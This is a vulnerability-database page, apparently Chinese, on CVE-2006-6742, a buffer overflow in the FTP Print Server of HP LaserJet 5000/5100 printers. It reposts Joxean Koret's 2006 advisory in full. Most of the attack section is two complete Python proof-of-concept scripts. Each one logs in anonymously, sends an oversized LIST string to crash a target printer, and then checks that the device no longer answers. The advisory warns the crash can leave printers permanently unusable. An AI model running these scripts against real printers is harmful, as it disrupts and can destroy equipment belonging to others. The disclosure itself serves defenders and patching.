HP LaserJet 5000/5100 Series printers多个缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1192347 漏洞类型 缓冲区溢出
发布时间 2006-12-26 更新时间 2006-12-26
CVE编号 CVE-2006-6742 CNNVD-ID CNNVD-200612-546
漏洞平台 N/A CVSS评分 7.8
|漏洞来源
https://www.securityfocus.com/bid/87099
https://cxsecurity.com/issue/WLB-2006120142
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-546
|漏洞详情
HPLaserJet5000SeriesprinterswithfirmwareR.25.15或R.25.47,和HPLaserJet5100SeriesprinterswithfirmwareV.29.12中的FTPPrintServer2.4和2.4.5存在多个缓冲区溢出,远程攻击者可以通过在(1)LIST或(2)NLST命令中的长字符串来发起拒绝服务攻击(设备崩溃)。
|漏洞EXP
HP FTP Printer Server Denial Of Service
---------------------------------------

Author: Joxean Koret
Date: 2006
Location: Basque Country

Affected Software
-----------------

Vendor: Hewlett Packard
Description: HP Printers FTP Server Denial Of Service

Description
-----------

A problem exists in almost any currently used HP Printer with the FTP
Print Server.

Version 2.4 of the FTP Print Server will crash with only one shoot.
Version 2.4.5, which is latest, will need various shoots (the number of
shoots needed is currently unknow).

While playing with my own FTP Fuzzer I tried finding flaws in HP's
Printers. After trying with 5 printers I found the problem in all of
these. The problem is a buffer overflow in the LIST and NLST command. In
version 2.4 a single shoot sending a LIST command with a long string
(about 256 characters) is sufficient enough to test the vulnerability.

Take care trying it because two of my printers were crashed completely
(you will need to make use of your warranty ;] ). Against 2.4 versions
it can crash the complete printer and be unresponsive even after
rebooting it.

In version 2.4.5 (which is the latest) you need to send various times
long shoots to the parameter LIST (a single shoot will not crash,
printer will answer with a "Path too long" message). You will need to
send various times a LIST command with long strings. When trying with
other commands you will see that no problem is raised and the printer
will always be responsive. After a successfull attack you may completely
crash your printer (i.e., calling technical support to fix your crashed
printer).

The problem can be easily triggered by using any FTP fuzzing tool. You
can crash your printer in about 10 second(s) in a LAN.

The printer models I used in my tests are:

* HP LaserJet 5000 Series (firmware R.25.15 / R.25.47)
  * HP LaserJet 5100 Series (firmware V.29.12)

Attached goes POCs for the vulnerabilities.

Workaround
----------

Disable the FTP print server as, surely, you aren't using it.

Disclaimer
----------

The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.

Contact
-------

Joxean Koret < joxeankoret [at] yah00 [D0T] es >

-- 
-----------------------------------
Agian, agian, egn batez
jeikiko dira egiazko Ziberotarrak,
egiazko eskaldnak,
tirano arrotzen hiltzeko 
eta gure aiten aitek tzi daikien 
lurraren popliari erremetitzeko.
-----------------------------------
#!/usr/bin/python

import sys

from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)"

print "Copyright (c) Joxean Koret"

print

if len(sys.argv) == 1:

print "Usage: %s <target>" % sys.argv[0]

sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:

ftp = FTP(target)

except:

print "[!] Can't connect to target", target, ".", sys.exc_info()[1]

sys.exit(0)

try:

msg = ftp.login() # Login anonymously

print msg

except:

print "[!] Error logging anonymously.",sys.exc_info()[1]

sys.exit(0)

buf = "./A"

iMax = 9

for i in range(iMax):

buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:

print "[+] Please, note that sometimes your connection will not be dropped. "

ftp.retrlines("LIST " + buf[0:3000])

print "[!] Exploit doesn't work :("

print

sys.exit(0)

except:

print "[+] Apparently exploit works. Verifying ... "

print sys.exc_info()[1]

ftp2 = FTP(target)

try:

msg = ftp2.login()

print "[!] No, it doesn't work :( "

print

print msg

sys.exit(0)

except:

print "[+] Yes, it works."

print sys.exc_info()[1]

#!/usr/bin/python

import sys

from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4 Buffer Overflow (POC)"

print "Copyright (c) Joxean Koret"

print

if len(sys.argv) == 1:

print "Usage: %s <target>" % sys.argv[0]

sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:

ftp = FTP(target)

except:

print "[!] Can't connect to target", target, ".", sys.exc_info()[1]

sys.exit(0)

try:

msg = ftp.login() # Login anonymously

print msg

except:

print "[!] Error logging anonymously.",sys.exc_info()[1]

sys.exit(0)

iMax = 6

buf = "./A."

for i in range(iMax):

buf += buf

print "[+] Sending buffer of",len(buf),"byte(s) ... "

try:

print "[+] Please, note that sometimes your connection will not be dropped. "

ftp.retrlines("LIST " + buf)

print "[!] Exploit doesn't work :("

print

sys.exit(0)

except:

print "[+] Apparently exploit works. Verifying ... "

print sys.exc_info()[1]

ftp2 = FTP(target)

try:

msg = ftp2.login()

print "[!] No, it doesn't work :( "

print

print msg

sys.exit(0)

except:

print "[+] Yes, it works."

print sys.exc_info()[1]

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBFiCdwU6rFMEYDrlERAh4QAJ4w/yCIT89pf+5tSnt0YzABP/aWMACgo5vu
I20+sFjA+2BZoAJaRpCvZ8U=
=IcJ2
-----END PGP SIGNATURE-----
|受影响的产品
HP FTP Print Server 2.4.5
|参考资料

来源:BUGTRAQ
名称:20061219HPPrintersFTPServerDenialOfService
链接:http://www.securityfocus.com/archive/1/archive/1/454817/100/0/threaded
来源:VUPEN
名称:ADV-2006-5081
链接:http://www.frsirt.com/english/advisories/2006/5081
来源:SREASON
名称:2074
链接:http://securityreason.com/securityalert/2074
来源:SECUNIA
名称:23396
链接:http://secunia.com/advisories/23396
来源:FULLDISC
名称:20061219HPPrintersFTPServerDenialOfService
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051367.html